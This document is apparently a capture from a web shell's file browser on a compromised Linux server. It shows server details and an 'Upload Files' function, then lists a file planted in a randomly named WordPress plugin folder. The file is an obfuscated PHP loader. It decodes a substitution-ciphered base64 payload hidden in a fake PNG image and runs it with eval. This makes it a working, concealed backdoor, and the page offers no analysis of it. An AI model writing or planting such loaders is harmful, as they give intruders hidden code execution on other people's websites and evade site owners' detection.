HEX
Server: Apache
System: Linux websend04.greenconsulting.it 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User: web20 (5023)
PHP: 7.2.34-38+ubuntu18.04.1+deb.sury.org+1
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Upload Files
File: /var/www/clients/client0/web20/web/wp-content/plugins/abokoshoq/ywyfash.txt
<?php

function ozerev_vituzhyn($kosuse_ydashichabe) {
    if ($kosuse_ydashichabe == 1)
        return ysozut_lasythepab();
    if ($kosuse_ydashichabe == 2)
        return nebafe_ubuzhiqoxi();
}

function enocug_zajeshohar($kosuse_ydashichabe) {
    $erynykh = ozerev_vituzhyn(1);
    $ewizaqy = ozerev_vituzhyn(2);
    for ($dyqavy = 0; $dyqavy < strlen($erynykh); $dyqavy++) {
        $epoweb = substr($erynykh, $dyqavy, 1);
        $anikaz = substr($ewizaqy, $dyqavy, 1);
        $lapafoz[$epoweb] = $anikaz;
    }

    $sozaryr = strtr($kosuse_ydashichabe, $lapafoz);
    $sozaryr = base64_decode($sozaryr);

    return $sozaryr;
}

function cutoma_ujozykhi($kosuse_ydashichabe) {
    $getola = array();
    if (!file_exists($kosuse_ydashichabe))
        return false;
    $nelopyq = @file_get_contents($kosuse_ydashichabe);
    if (!$nelopyq)
        return false;
    $nelopyq = substr($nelopyq, 3);
    $getola = enocug_zajeshohar($nelopyq);
    return $getola;
}

function ysozut_lasythepab() {
    $nelopyq = "8cNCvbTg7nKmjE0FIt1VO9Lo+xlw=Q/6pJZ2RXuWHfB4ayUkArdiGPYD5qShe3zMs";
    return $nelopyq;
}

function nebafe_ubuzhiqoxi() {
    $getola = "sqvLBazul+KbJp/gYcx5TfIt9=he7F32S4E6WXrD8inwMRkZAUd1PGjQoHmVONyC0";
    return $getola;
}

$iliraf = cutoma_ujozykhi(__DIR__ . "/asset" . "s/im" . "ages/" . "utahu" . "do.png");
if ($iliraf) {
    @eval($iliraf);
}